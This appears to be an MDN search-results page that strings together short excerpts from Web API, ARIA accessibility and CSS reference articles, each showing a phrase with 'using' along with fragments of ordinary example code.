for example, to create the connection using the highest level of bundling: const rtcconfig = { bundlepolicy: "max-bundle" }; const pc = new rtcpeerconnection(rtcconfig); bundling lets you use one rtcdtlstransport to carry the data for multiple higher-level transports, such as multiple rtcrtptransceivers.
... when not using bundle when the connection is created without using bundle, each rtp or rtcp component of each rtcrtptransceiver has its own rtcdtlstransport; that is, every rtcrtpsender and rtcrtpreceiver, has its own transport, and all rtcdatachannel objects share a transport dedicated to sctp.
... when using bundle when the connection is using bundle, each rtcdtlstransport object represents a group of rtcrtptransceiver objects.
... if the connection was created using max-compat mode, each transport is responsible for handling all of the communications for a given type of media (audio, video, or data channel).
RTCIceTransport - Web APIs
the value of state can be used to determine whether the ice agent has made an initial connection using a viable candidate pair ("connected"), made its final selection of candidate pairs ("completed"), or in an error state ("failed"), among other states.
... events listen to these events using addeventlistener() or by assigning an event listener to the oneventname property of this interface.
...the current candidate pair can be obtained using getselectedcandidatepair().
... also available using the onselectedcandidatepairchange event handler property.
RTCPeerConnection.addIceCandidate() - Web APIs
when a web site or app using rtcpeerconnection receives a new ice candidate from the remote peer over its signaling channel, it delivers the newly-received candidate to the browser's ice agent by calling rtcpeerconnection.addicecandidate().
... the end-of-candidates notification is transmitted to the remote peer using a candidate with an a-line value of end-of-candidates.
... if no candidate object is specified, or its value is null, an end-of-candidates signal is sent to the remote peer using the end-of-candidates a-line, formatted simply like this: a=end-of-candidates deprecated parameters in older code and documentation, you may see a callback-based version of this function.
... // this example assumes that the other peer is using a signaling channel as follows: // // pc.onicecandidate = event => { // if (event.candidate) { // signalingchannel.send(json.stringify({ice: event.candidate})); // "ice" is arbitrary // } else { // // all ice candidates have been sent // } // } signalingchannel.onmessage = receivedstring => { const message = json.parse(receivedstring); if (message.ice) { // a typical value ...
Reporting API - Web APIs
deprecated feature usage (when you are using something that will stop working soon in browsers).
... a reportingobserver object is created using the reportingobserver() constructor, which is passed two parameters: a callback function that has available as parameters the reports available in the observer's report queue, and a copy of the same reportingobserver object, so observation can be controlled directly from inside the callback.
... reporting api interfaces reportingobserver create reportingobserver instances using its constructor, which can then be used to collect and access reports.
... examples in our deprecation_report.html example, we create a simple reporting observer to observe usage of deprecated features on our web page: let options = { types: ['deprecation'], buffered: true } let observer = new reportingobserver(function(reports, observer) { reportbtn.onclick = () => displayreports(reports); }, options); we then tell it to start observing reports using reportingobserver.observe(); this tells the observer to start collecting reports in its report queue, and runs the callback function specified inside the constructor: observer.observe(); later on in the example we deliberately use the deprecated version of mediadevices.getusermedia(): if(navigator.mozgetusermedia) { navigator.mozgetusermedia( constraints, success, failure); } els...
Resize Observer API - Web APIs
the window resize event), then figure out what the new dimensions or other features of the element after a resize using element.getboundingclientrect or window.getcomputedstyle, for example.
... usage is simple, and pretty much the same as other observers, such as performance observer or intersection observer — you create a new resizeobserver object using the resizeobserver() constructor, then use resizeobserver.observe() to make it look for changes to a specific element's size.
...we could just implement this using border-radius with a percentage, but that quickly leads to ugly-looking elliptical corners, whereas the above solution gives you nice square corners that scale with the box size.
... resize-observer-text.html (see source): here we use the resize observer to change the font-size of a header and paragraph as a slider’s value is changed causing the containing <div> to change width.
ServiceWorkerRegistration.showNotification() - Web APIs
appropriate responses are built using event.action within the notificationclick event.
... renotify: a boolean that indicates whether to suppress vibrations and audible alerts when reusing a tag value.
... tag: an id for a given notification that allows you to find, replace, or remove the notification using a script if necessary.
... you can also retrieve details of the notifications that have been fired from the current service worker using serviceworkerregistration.getnotifications().
SpeechRecognition - Web APIs
note: on some browsers, like chrome, using speech recognition on a web page involves a server-based recognition engine.
... speechrecognition.stop() stops the speech recognition service from listening to incoming audio, and attempts to return a speechrecognitionresult using the audio captured so far.
... events listen to these events using addeventlistener() or by assigning an event listener to the oneventname property of this interface.
... examples in our simple speech color changer example, we create a new speechrecognition object instance using the speechrecognition() constructor, create a new speechgrammarlist, and set it to be the grammar that will be recognised by the speechrecognition instance using the speechrecognition.grammars property.
Storage API - Web APIs
the storage api gives sites' code the ability to find out how much space they can use, how much they are already using, and even control whether or not they need to be alerted before the user agent disposes of site data in order to make room for other things.
... site storage—the data stored for a web site which is managed by the storage standard—includes: indexeddb databases cache api data service worker registrations web storage api data managed using window.localstorage history state information saved using history.pushstate() application caches notification data other kinds of site-accessible, site-specific data that may be maintained site storage units the site storage system described by the storage standard and interacted with using the storage api consists of a single site storage unit for each origin.
... note: see using the permissions api for further details about obtaining and managing permissions.
... quotas and usage estimates the user agent determines, using whatever mechanism it chooses, the maximum amount of storage a given site can use.
Streams API - Web APIs
for example, the response body returned by a successful fetch request can be exposed as a readablestream, and you can then read it using a reader created with readablestream.getreader(), cancel it with readablestream.cancel(), etc.
... more complicated uses involve creating your own stream using the readablestream() constructor, for example to process data inside a service worker.
... you can also write data to streams using writablestream.
... note: you can find a lot more details about the theory and practice of streams in our articles — streams api concepts, using readable streams, and using writable streams.
SubtleCrypto.deriveBits() - Web APIs
otherwise it will be the initial key material for the derivation function: for example, for pbkdf2 it might be a password, imported as a cryptokey using subtlecrypto.importkey().
...key( { name: "ecdh", namedcurve: "p-384" }, false, ["derivebits"] ); promise.all([generatealiceskeypair, generatebobskeypair]).then(values => { const aliceskeypair = values[0]; const bobskeypair = values[1]; const derivebitsbutton = document.queryselector(".ecdh .derive-bits-button"); derivebitsbutton.addeventlistener("click", () => { // alice then generates a secret using her private key and bob's public key.
... // bob could generate the same secret using his private key and alice's public key.
... derivesharedsecret(aliceskeypair.privatekey, bobskeypair.publickey); }); }); pbkdf2 in this example we ask the user for a password, then use it to derive some bits using pbkdf2.
SubtleCrypto.encrypt() - Web APIs
rsa-oaep this code fetches the contents of a text box, encodes it for encryption, and encrypts it with using rsa-oaep.
...a-oaep #message"); let message = messagebox.value; let enc = new textencoder(); return enc.encode(message); } function encryptmessage(publickey) { let encoded = getmessageencoding(); return window.crypto.subtle.encrypt( { name: "rsa-oaep" }, publickey, encoded ); } aes-ctr this code fetches the contents of a text box, encodes it for encryption, and encrypts it using aes in ctr mode.
...ubtle.importkey( "raw", key.buffer, 'aes-ctr' , false, ["encrypt", "decrypt"]); const encrypted_content = await window.crypto.subtle.encrypt( { name: "aes-ctr", counter: iv, length: 128 }, key_encoded, data ); //uint8array console.log(encrypted_content); aes-cbc this code fetches the contents of a text box, encodes it for encryption, and encrypts it using aes in cbc mode.
...enc.encode(message); } function encryptmessage(key) { let encoded = getmessageencoding(); // iv will be needed for decryption iv = window.crypto.getrandomvalues(new uint8array(16)); return window.crypto.subtle.encrypt( { name: "aes-cbc", iv }, key, encoded ); } aes-gcm this code fetches the contents of a text box, encodes it for encryption, and encrypts it using aes in gcm mode.
WEBGL_compressed_texture_atc - Web APIs
webgl extensions are available using the webglrenderingcontext.getextension() method.
... for more information, see also using extensions in the webgl tutorial.
... ext.compressed_rgba_atc_explicit_alpha_webgl compresses rgba textures using explicit alpha encoding (useful when alpha transitions are sharp).
... ext.compressed_rgba_atc_interpolated_alpha_webgl compresses rgba textures using interpolated alpha encoding (useful when alpha transitions are gradient).
WEBGL_draw_buffers - Web APIs
webgl extensions are available using the webglrenderingcontext.getextension() method.
... for more information, see also using extensions in the webgl tutorial.
...(when using webgl2, this method is available as gl.drawbuffers() by default).
....texture_2d, tx[0], 0); gl.framebuffertexture2d(gl.framebuffer, ext.color_attachment1_webgl, gl.texture_2d, tx[1], 0); gl.framebuffertexture2d(gl.framebuffer, ext.color_attachment2_webgl, gl.texture_2d, tx[2], 0); gl.framebuffertexture2d(gl.framebuffer, ext.color_attachment3_webgl, gl.texture_2d, tx[3], 0); mapping the color attachments to draw buffer slots that the fragment shader will write to using gl_fragdata: ext.drawbufferswebgl([ ext.color_attachment0_webgl, // gl_fragdata[0] ext.color_attachment1_webgl, // gl_fragdata[1] ext.color_attachment2_webgl, // gl_fragdata[2] ext.color_attachment3_webgl // gl_fragdata[3] ]); shader code that writes to multiple textures: <script type="x-shader/x-fragment"> #extension gl_ext_draw_buffers : require precision highp float; void main(vo...
WebGLRenderingContext.blendEquationSeparate() - Web APIs
must be either: gl.func_add: source + destination (default value), gl.func_subtract: source - destination, gl.func_reverse_subtract: destination - source, when using the ext_blend_minmax extension: ext.min_ext: minimum of source and destination, ext.max_ext: maximum of source and destination.
... when using a webgl 2 context, the following values are available additionally: gl.min: minimum of source and destination, gl.max: maximum of source and destination.
...must be either: gl.func_add: source + destination (default value), gl.func_subtract: source - destination, gl.func_reverse_subtract: destination - source, when using the ext_blend_minmax extension: ext.min_ext: minimum of source and destination, ext.max_ext: maximum of source and destination.
... when using a webgl 2 context, the following values are available additionally: gl.min: minimum of source and destination, gl.max: maximum of source and destination.
WebGLRenderingContext.framebufferTexture2D() - Web APIs
when using a webgl 2 context, the following values are available additionally: gl.draw_framebuffer: equivalent to gl.framebuffer.
... when using a webgl 2 context, the following values are available additionally: gl.depth_stencil_attachment: depth and stencil buffer.
...lor_attachment1 gl.color_attachment2 gl.color_attachment3 gl.color_attachment4 gl.color_attachment5 gl.color_attachment6 gl.color_attachment7 gl.color_attachment8 gl.color_attachment9 gl.color_attachment10 gl.color_attachment11 gl.color_attachment12 gl.color_attachment13 gl.color_attachment14 gl.color_attachment15 when using the webgl_draw_buffers extension: ext.color_attachment0_webgl (same as gl.color_attachment0) ext.color_attachment1_webgl ext.color_attachment2_webgl ext.color_attachment3_webgl ext.color_attachment4_webgl ext.color_attachment5_webgl ext.color_attachment6_webgl ext.color_attachment7_webgl ext.color_attachment8_webgl ext.color_attachment9_webgl ...
... ext.color_attachment10_webgl ext.color_attachment11_webgl ext.color_attachment12_webgl ext.color_attachment13_webgl ext.color_attachment14_webgl ext.color_attachment15_webgl when using the webgl_depth_texture extension: gl.depth_stencil_attachment: depth and stencil buffer data storage.
WebGLRenderingContext.renderbufferStorage() - Web APIs
gl.depth_stencil when using a webgl 2 context, the following values are available additionally: gl.r8 gl.r8ui gl.r8i gl.r16ui gl.r16i gl.r32ui gl.r32i gl.rg8 gl.rg8ui gl.rg8i gl.rg16ui gl.rg16i gl.rg32ui gl.rg32i gl.rgb8 gl.rgba8 gl.srgb8_alpha8 (also available as an extension for webgl 1, see below) gl.rgb10_a2 gl.rgba8ui gl.rgba8i gl.r...
...gb10_a2ui gl.rgba16ui gl.rgba16i gl.rgba32i gl.rgba32ui gl.depth_component24 gl.depth_component32f gl.depth24_stencil8 gl.depth32f_stencil8 when using the webgl_color_buffer_float extension: ext.rgba32f_ext: rgba 32-bit floating-point type.
... when using the ext_srgb extension: ext.srgb8_alpha8_ext: 8-bit srgb and alpha.
... when using a webgl 2 context and the ext_color_buffer_float extension: gl.r16f gl.rg16f gl.rgba16f gl.r32f gl.rg32f gl.rgba32f gl.r11f_g11f_b10f width a glsizei specifying the width of the renderbuffer in pixels.
Taking still photos with WebRTC - Web APIs
initialization we start by wrapping the whole script in an anonymous function to avoid global variables, then setting up various variables we'll be using.
...as it turns out, any css filters you apply to the element using the filter property affect the captured photo.
... you can play with this effect using, for example, the firefox developer tools' style editor; see edit css filters for details on how to do so.
... using specific devices you can, if needed, restrict the set of permitted video sources to a specific device or set of devices.
Writing a WebSocket server in C# - Web APIs
it is a good idea to include the namespace with the using keyword in order to write less.
... here's a barebones server implementation: ​using system.net.sockets; using system.net; using system; class server { public static void main() { tcplistener server = new tcplistener(ipaddress.parse("127.0.0.1"), 80); server.start(); console.writeline("server has started on 127.0.0.1:80.{0}waiting for a connection...", environment.newline); tcpclient client = server.accepttcpclient(); console.writel...
... using system.text; using system.text.regularexpressions; while(client.available < 3) { // wait for enough bytes to be available } byte[] bytes = new byte[client.available]; stream.read(bytes, 0, bytes.length); //translate bytes of request to string string data = encoding.utf8.getstring(bytes); if (regex.ismatch(data, "^get")) { } else { } the response is easy to build, but might be a little ...
... example in c#: byte[] decoded = new byte[3]; byte[] encoded = new byte[3] {112, 16, 109}; byte[] mask = new byte[4] {61, 84, 35, 6}; for (int i = 0; i < encoded.length; i++) { decoded[i] = (byte)(encoded[i] ^ mask[i % 4]); } put together wsserver.cs // // csc wsserver.cs // wsserver.exe using system; using system.net; using system.net.sockets; using system.text; using system.text.regularexpressions; class server { public static void main() { string ip = "127.0.0.1"; int port = 80; var server = new tcplistener(ipaddress.parse(ip), port); server.start(); console.writeline("server has started on {0}:{1}, waiting for a connection...", ip, port...
WebXR application life cycle - Web APIs
life cycle outline most applications using webxr will follow a similar overall design pattern: check to see if the user's device and browser are both capable of presenting the xr experience you want to provide.
... when the user requests the activation of webxr functionality by engaging with the user interface enabled above, request an xrsession using the desired mode.
... if your scene is complex, you should consider creating a worker—or using one that you've previously created for this purpose—to perform the computations needed for each frame to be rendered.
... each requestanimationframe() callback should use the information provided about the objects located in the 3d world to render the frame using webgl.
Basic concepts behind Web Audio API - Web APIs
visualizations in general, audio visualizations are achieved by accessing an output of audio data over time, usually gain or frequency data, and then using a graphical technology to turn that into a visual output, such as a graph.
... you can grab data using the following methods: analysernode.getfloatfrequencydata() copies the current frequency data into a float32array array passed into it.
... the panner's position is described with right-hand cartesian coordinates; its movement using a velocity vector, necessary for creating doppler effects, and its directionality using a directionality cone.the cone can be very large, e.g.
... the listener's position is described using right-hand cartesian coordinates; its movement using a velocity vector and the direction the listener's head is pointing using two direction vectors: up and front.
Web audio spatialization basics - Web APIs
basics of spatialization in web audio, complex 3d spatializations are created using the pannernode, which in layman's terms is basically a whole lotta cool maths to make audio appear in 3d space.
... 3d boombox demo to demonstrate 3d spatialization we've created a modified version of the boombox demo we created in our basic using the web audio api guide.
...ooking into our room: const audiocontext = window.audiocontext || window.webkitaudiocontext; const audioctx = new audiocontext(); const listener = audioctx.listener; const posx = window.innerwidth/2; const posy = window.innerheight/2; const posz = 300; listener.positionx.value = posx; listener.positiony.value = posy; listener.positionz.value = posz-5; we could move the listener left or right using positionx, up or down using positiony, or in or out of the room using positionz.
... // 'left' is rotation about y-axis with negative angle increment z = panner.orientationz.value*math.cos(q) - panner.orientationx.value*math.sin(q); x = panner.orientationz.value*math.sin(q) + panner.orientationx.value*math.cos(q); y = panner.orientationy.value; panner.orientationx.value = x; panner.orientationy.value = y; panner.orientationz.value = z; break; this is a little confusing, but what we're doing is using sin and cos to help us work out the circular motion the coordinates need for the rotation of the boombox.
window.location - Web APIs
WebAPIWindowlocation
syntax var oldlocation = location; location = newlocation; examples basic example alert(location); // alerts "/docs/web/api/window/location" example #1: navigate to a new page whenever a new value is assigned to the location object, a document will be loaded using the url as if location.assign() had been called with the modified url.
... location.assign("http://www.mozilla.org"); // or location = "http://www.mozilla.org"; example #2: force reloading the current page from the server location.reload(true); example #3 consider the following example, which will reload the page by using the replace() method to insert the value of location.pathname into the hash: function reloadpagewithhash() { var initialpage = location.pathname; location.replace('http://example.com/#' + initialpage); } example #4: display the properties of the current url in an alert dialog: function showloc() { var olocation = location, alog = ["property (typeof): value", "location (" + (typeof olocation) + "): " + olocation ]; for (var sprop in olocation){ alog.pu...
... example #6: using bookmarks without changing the hash property: <!doctype html> <html> <head> <meta charset="utf-8"/> <title>mdn example</title> <script> function shownode (onode) { document.documentelement.scrolltop = onode.offsettop; document.documentelement.scrollleft = onode.offsetleft; } function showbookmark (sbookmark, busehash) { if (arguments.length === 1 || busehash) { location.hash = sbookmark; ...
...pellentesque porttitor facilisis ultricies.</p> <p id="mybookmark2">[&nbsp;<span class="intlink" onclick="showbookmark('#mybookmark1');">go to bookmark #1</span> | <span class="intlink" onclick="showbookmark('#mybookmark1', false);">go to bookmark #1 without using location.hash</span> | <span class="intlink" onclick="showbookmark('#mybookmark3');">go to bookmark #3</span>&nbsp;]</p> <p>phasellus tempus fringilla nunc, eget sagittis orci molestie vel.
WindowOrWorkerGlobalScope.setInterval() - Web APIs
this syntax is not recommended for the same reasons that make using eval() a security risk.
...you can cancel the interval using windoworworkerglobalscope.clearinterval().
... ensure that execution duration is shorter than interval frequency if there is a possibility that your logic could take longer to execute than the interval time, it is recommended that you recursively call a named function using settimeout().
... for example, if using setinterval() to poll a remote server every 5 seconds, network latency, an unresponsive server, and a host of other issues could prevent the request from completing in its allotted time.
WorkerGlobalScope - Web APIs
methods implemented from elsewhere windoworworkerglobalscope.atob() decodes a string of data which has been encoded using base-64 encoding.
... windoworworkerglobalscope.clearinterval() cancels the repeated execution set using windoworworkerglobalscope.setinterval().
... windoworworkerglobalscope.cleartimeout() cancels the delayed execution set using windoworworkerglobalscope.settimeout().
...for example, you could import another script into the worker and print out the contents of the worker scope's navigator object using the following two lines: importscripts('foo.js'); console.log(navigator); since the global scope of the worker script is effectively the global scope of the worker you are running (dedicatedworkerglobalscope or whatever) and all worker global scopes inherit methods, properties, etc.
Sending and Receiving Binary Data - Web APIs
receiving binary data using javascript typed arrays the responsetype property of the xmlhttprequest object can be set to change the expected response type from the server.
...{ var req = new xmlhttprequest(); req.open('get', url, false); //xhr binary charset opt by marcus granado 2006 [http://mgran.blogspot.com] req.overridemimetype('text\/plain; charset=x-user-defined'); req.send(null); if (req.status != 200) return ''; return req.responsetext; } the magic happens in line 5, which overrides the mime type, forcing the browser to treat it as plain text, using a user-defined character set.
... note: support for sending arraybuffer objects using xmlhttprequest was added to gecko 9.0 (firefox 9.0 / thunderbird 9.0 / seamonkey 2.6).
... firefox-specific examples this example transmits binary content asynchronously, using the post method, and firefox's non-standard sendasbinary().
XRInputSource.targetRayMode - Web APIs
the possible values are: gaze the user is using a gaze-tracking system (or gaze input) which detects the direction in which the user is looking.
... screen the direction of the target ray is indicated using a tap on a touch screen, mouse, or other tactile input device.
... tracked-pointer targeting is being performed using a handheld device or hand-tracking system which the user points in the direction of the target.
...the direction is determined using platform-specific rules, though if no such rules exist, the direction is chosen by assuming the user is pointing their index finger straight out from their hand.
XRReferenceSpace.getOffsetReferenceSpace() - Web APIs
you can do that using getoffsetreferencespace().
...then the first animation frame is requested using xrsession's requestanimationframe().
...this prevents the right-clicks from causing the context menu from appearing in the browser.
...applymousemovement() should be called when drawing a frame, immediately before fetching the viewer's pose using getviewerpose(), and the rendering should be performed in this reference space.
XRViewerPose - Web APIs
this view can represent anything from the point-of-view of a user's xr headset to the viewpoint represented by a player's movement of an avatar using mouse and keyboard, presented on the screen, to a virtual camera capturing the scene for a spectator.
...this ensures that positions and orientations are reported using the expected relative coordinate system.
... to render a scene using the xrviewerpose representing the user's head, one would iterate over the views in the views array, rendering them one after another.
... examples in this example—part of the code to render an xrframe, getviewerpose() is called to get an xrviewerpose using the same reference space the code is using as its base reference space.
ARIA: grid role - Accessibility
the position of each cell is significant and can be focused using keyboard input.
...rows can be grouped using rowgroups.
... keyboard interactions when a keyboard user encounters a grid, they navigate the rows and columns using the left, right, top and down keys.
...make sure that the functionality and interaction needed can be best achieved using the grid role.
ARIA: row role - Accessibility
using native html <tr> elements, whenever possible, is strongly encouraged.
... if the row is within a treegrid, rows can include the aria-expanded attribute, using the attribute to indicate the present status.
... note: using the native html table element (<table>) along with the table row element (<tr>) whenever possible is strongly encouraged.
... if the element with the aria-expanded attribute controls the expansion of another grouping container that is not 'owned by' the element, the author should reference the container by using the aria-controls attribute.
ARIA: dialog role - Accessibility
dialogs are generally placed on top of the rest of the page content using an overlay.
...the best way to achieve this is by using the aria-labelledby attribute to the role="dialog" element.
... additionally, if the dialog contains additional descriptive text besides the dialog title, this text can be associated with the dialog using the aria-describedby attribute.
...ckbox" id="autologin"/> <label for="autologin">auto-login?</label> </p> <p> <input type="submit" value="save information"/> </p> </form> </div> working examples: jquery-ui dialog notes note: while it is possible to prevent keyboard users from moving focus to elements outside of the dialog, screen reader users may still be able to navigate to that content using their screen reader's virtual cursor.
Basic form hints - Accessibility
when implementing forms using traditional html form-related elements, it is important to provide labels for controls, and explicitly associate a label with its control.
...heckbox" value="pinot-grigio"/> <label for="wine-3">pinot grigio</label> </li> <li> <input id="wine-4" type="checkbox" value="gewurztraminer"/> <label for="wine-4">gewürztraminer</label> </li> </ul> </form> labeling with aria the html <label> element is appropriate for form-related elements, but many form controls are implemented as a dynamic javascript widget, using <div>s or <span>s.
... the example below shows a radio button group implemented using an unordered list.
... for more guidance on using aria for forms accessibility, see the wai-aria authoring practices document.
:focus-visible - CSS: Cascading Style Sheets
compare what happens when you click on the different controls with a mouse, versus when you tab through them using a keyboard.
...:focus-visible) { /* remove the focus indicator on mouse-focus for browsers that do support :focus-visible */ background: transparent; } custom-button:focus-visible { /* draw a very noticeable focus style for keyboard-focus on browsers that do support :focus-visible */ outline: 4px dashed darkorange; background: transparent; } polyfill you can polyfill :focus-visible using focus-visible.js.
...tips for designing useful and usable focus indicators cognition it may not be obvious as to why the focus indicator is appearing and disappearing if a person is using mixed forms of input.
... for users with cognitive concerns, or who are less technologically literate, this lack of consistent behavior for interactive elements may be confusing.
src - CSS: Cascading Style Sheets
WebCSS@font-facesrc
specifies an external reference consisting of a <url>, followed by an optional hint using the format() function to describe the format of the font resource referenced by that url.
... <font-face-name> specifies the name of a locally-installed font face using the local() function, which uniquely identifies a single font face within a larger family.
...when a font is needed the user agent iterates over the set of references listed using the first one it can successfully activate.
...| local( <family-name> ) ]#where <family-name> = <string> | <custom-ident>+ examples specifying font resources using url() and local() @font-face { font-family: examplefont; src: local(example font), url('examplefont.woff') format("woff"), url('examplefont.otf') format("opentype"); } specifications specification status comment css fonts module level 3the definition of 'src' in that specification.
Alternative style sheets - CSS: Cascading Style Sheets
firefox lets the user select the stylesheet using the view > page style submenu.
... an example: specifying the alternative stylesheets the alternate stylesheets are commonly specified using a <link> element with rel="alternate stylesheet" and title="..." attributes.
...when the user selects a different style, the page will immediately be re-rendered using that style sheet.
...see correctly using titles with external stylesheets for a more detailed discussion.
Cross-browser Flexbox mixins - CSS: Cascading Style Sheets
this article provides a set of mixins for those who want to mess around with flexbox using the native support of current browsers.
... this set uses: fallbacks using 2009 'box' syntax (ff and older webkit) and prefixed syntaxes (ie10, webkit browsers without flex wrapping) final standards syntax (ff, safari, chrome, ie11+, edge, opera) this was inspired by: http://dev.opera.com/articles/view/advanced-cross-browser-flexbox/ with help from: http://w3.org/tr/css3-flexbox/ http://the-echoplex.net/flexyboxes/ http://msdn.microsoft.com/en-us/library/ie/hh772069(v=vs.85).aspx http://css-tricks.com/using-flexbox/ a complete guide to flexbox | css-tricks visual guide to css3 flexbox: flexbox playground | note: mixins are not currently supported natively in browsers.
... flexbox containers using the display property's flex value causes an element to generate a block-level flex container box.
... values: flex | inline-flex spec: https://drafts.csswg.org/css-flexbox/#flex-containers @mixin flexbox { display: -webkit-box; display: -moz-box; display: -webkit-flex; display: -ms-flexbox; display: flex; } //using this mixin %flexbox { @include flexbox; } @mixin inline-flex { display: -webkit-inline-box; display: -moz-inline-box; display: -webkit-inline-flex; display: -ms-inline-flexbox; display: inline-flex; } %inline-flex { @include inline-flex; } flexbox direction the flex-direction property specifies how flex items are placed in the flex container, by setting the direction of the flex container's main axis.
Basic concepts of CSS Scroll Snap - CSS: Cascading Style Sheets
using scroll-snap-type the scroll-snap-type property needs to know the direction in which scroll snapping happens.
... using mandatory gives a very consistent experience — you know that the browser will always snap to each defined point.
... using scroll-snap-align the scroll-snap-align property can take a value of start, end, or center — indicating the point the content should snap to in the scroll container.
...by using scroll-padding you can reserve a space for it as in the example below where my <h1> remains on screen as the content scrolls beneath it.
Shapes from box values - CSS: Cascading Style Sheets
by using box values for shapes we can wrap our content around the edges defined by these values.
... in all of the examples below i am using an element which has padding, a border, and a margin defined in order that you can see the different ways in which content will flow.
... when to use the box values using box values is a simple way to create shapes, however this is by nature only going to work with very simple shapes that can be defined using the well-supported border-radius property.
...you can create a circular shape using border-radius and then curve text around it.
Recipe: Media objects - CSS: Cascading Style Sheets
by using fit-content with a maximum size of 200 pixels, when we have a small image such as the icon, the track only gets as large as the size of that image — the max-content size.
... by using grid-template-areas to achieve the layout, i can see the pattern in the css.
... an option for the pattern is to flip it to switch the image to the other side — this is done by adding the media-flip class, which defines a flipped grid template causing the layout to be mirrored.
... relevant resources on mdn css grid layout progressive enhancement and grid layout using grid template areas fit-content grid-template-areas ...
Pagination - CSS: Cascading Style Sheets
to ensure that the pagination is understandable by people using a screenreader, we mark the items up as a list inside a <nav> element, and then use css to display the layout visually as a row.
... recipe download this example choices made this pattern is laid out using flexbox — one flex container nested inside another.
... the <nav> element is designated a flex container in order that we can center the list inside using the justify-content property.
... .pagination { list-style: none; margin: 0; padding: 0; display: flex; column-gap: 2px; } accessibility concerns we want to ensure that a person using a screenreader understands what this navigation does, and where they will go when clicking a link.
Specificity - CSS: Cascading Style Sheets
using !important, however, is bad practice and should be avoided because it makes debugging more difficult by breaking the natural cascading in your stylesheets.
... instead of using !important, consider: make better use of the css cascade use more specific rules.
...using !important with a very targeted selector is one way to override these inline styles.
... for more information, visit: https://stackoverflow.com/questions/3706819/what-are-the-implications-of-using-important-in-css https://stackoverflow.com/questions/9245353/what-does-important-in-css-mean https://stackoverflow.com/questions/5701149/when-to-use-important-property-in-css https://stackoverflow.com/questions/11178673/how-to-override-important https://stackoverflow.com/questions/2042497/when-to-use-important-to-save-the-day-when-working-with-css the :is() and :not() exceptions the matche...
Viewport concepts - CSS: Cascading Style Sheets
body > header { position: fixed; top: 0; } body > footer { position: fixed; bottom: 0; } we got the 800 x 533 measurement when we zoomed in using the keyboard.
...the size of the viewport can be defined using the width and height attributes of the <svg> element.
...using the @media query in your svg's css is relative to that container, not the browser.
... see also @viewport css at-rule visual viewport api <meta>, specifically <meta name="viewport"> using the viewport meta tag to control layout on mobile browsers ...
background-position - CSS: Cascading Style Sheets
it can be defined using one to four values.
... (container width - image width) * (position x%) = (x offset value) (container height - image height) * (position y%) = (y offset value) using the x axis for an example, let's say we have an image that is 300px wide and we are using it in a container that is 100px wide, with background-size set to auto: 100px - 300px = -200px (container & image difference) so that with position percentages of -25%, 0%, 50%, 100%, 125%, we get these image-to-container edge offset values: -200px * -25% = 50px -200px * 0% = 0px -200px * 50%...
...you will need to offset using absolute values.
... see also background-position-x background-position-y background-position-inline background-position-block using multiple backgrounds transform-origin ...
clamp() - CSS: Cascading Style Sheets
WebCSSclamp
note that using clamp() for font sizes, as in these examples, allows you to set a font-size that grows with the size of the viewport, but doesn't go below a minimum font-size or above a maximum font-size.
...as math expressions, so you can use addition, subtraction, multiplication and division without using the calc() function itself.
...the expressions are full math expressions, so you can use direct addition, subtraction, multiplication and division without using the calc() function itself.
... the expression can be values combining the addition ( + ), subtraction ( - ), multiplication ( * ) and division ( / ) operators, using standard operator precedence rules.
column-span - CSS: Cascading Style Sheets
</p> <p>this is a bunch of text split into three columns using the css `columns` property.
... the text is equally distributed over the columns.</p> <p>this is a bunch of text split into three columns using the css `columns` property.
... the text is equally distributed over the columns.</p> <p>this is a bunch of text split into three columns using the css `columns` property.
... the text is equally distributed over the columns.</p> <p>this is a bunch of text split into three columns using the css `columns` property.
content - CSS: Cascading Style Sheets
WebCSScontent
objects inserted using the content property are anonymous replaced elements.
...s that cannot be combined with other values */ content: normal; content: none; /* <image> values */ content: url("http://www.example.com/test.png"); content: linear-gradient(#e66465, #9198e5); /* alt text for generated content, added in the level 3 specification */ content: url("http://www.example.com/test.png") / "this is the alt text"; /* values below can only be applied to generated content using ::before and ::after */ /* <string> value */ content: "prefix"; /* <counter> values */ content: counter(chapter_counter); content: counters(section_counter, "."); /* attr() value linked to the html attribute value */ content: attr(value string); /* language- and position-dependent keywords */ content: open-quote; content: close-quote; content: no-open-quote; content: no-close-quote; /* excep...
...non-latin characters must be encoded using their unicode escape sequences: for example, \000a9 represents the copyright symbol.
...it can be displayed using either the counter() or counters() function.
cursor - CSS: Cascading Style Sheets
WebCSScursor
for example, this specifies two images using <url> values, providing <x><y> coordinates for the second one, and falling back to the progress keyword value if neither image can be loaded: cursor: url(one.svg), url(two.svg) 5 5, progress; values <url> a url(…) or a comma separated list url(…), url(…), …, pointing to an image file.
...see using url values for the cursor property for more details.
...cursor changes using images which are outside the size range supported by the browser will generally just be ignored.
...copy | move | no-drop | not-allowed | e-resize | n-resize | ne-resize | nw-resize | s-resize | se-resize | sw-resize | w-resize | ew-resize | ns-resize | nesw-resize | nwse-resize | col-resize | row-resize | all-scroll | zoom-in | zoom-out | grab | grabbing ] ] examples setting cursor types .foo { cursor: crosshair; } .bar { cursor: zoom-in; } /* a fallback keyword value is required when using a url */ .baz { cursor: url("hyper.cur"), auto; } specifications specification status comment css basic user interface module level 3the definition of 'cursor' in that specification.
display - CSS: Cascading Style Sheets
WebCSSdisplay
syntax the css display property is specified using keyword values.
... valid <display-inside> values: flow the element lays out its contents using flow layout (block-and-inline layout).
...for example, using two values you might specify an inline flex container as follows: .container { display: inline flex; } this can currently be specified using a single value.
...ntainer controlling ratios of flex items along the main axis cross-browser flexbox mixins mastering wrapping of flex items ordering flex items relationship of flexbox to other layout methods backwards compatibility of flexbox typical use cases of flexbox display: grid basic concepts of grid layout relationship to other layout methods line-based placement grid template areas layout using named grid lines auto-placement in grid layout box alignment in grid layout grids, logical values and writing modes css grid layout and accessibility css grid layout and progressive enhancement realizing common layouts using grids accessibility concerns display: none using a display value of none on an element will remove it from the accessibility tree.
element() - CSS: Cascading Style Sheets
WebCSSelement
this image is live, meaning that if the html element is changed, the css properties using the resulting value are automatically updated.
... a particularly useful scenario for using this would be to render an image in an html <canvas> element, then use that as a background.
... syntax element(id) where: id the id of an element to use as the background, specified using the html attribute #id on the element.
... <div style="width:400px; height:100px; background:-moz-element(#mybackground2);"> </div> <div style="overflow:hidden; height:0;"> <button id="mybackground2" type="button">evil button!</button> </div> specifications specification status comment css images module level 4the definition of 'using elements as images: the element() notation' in that specification.
filter - CSS: Cascading Style Sheets
WebCSSfilter
if they have different lengths, the missing equivalent filter functions from the longer list are added to the end of the shorter list using their lacuna values, then all filter functions are interpolated according to their specific rules.
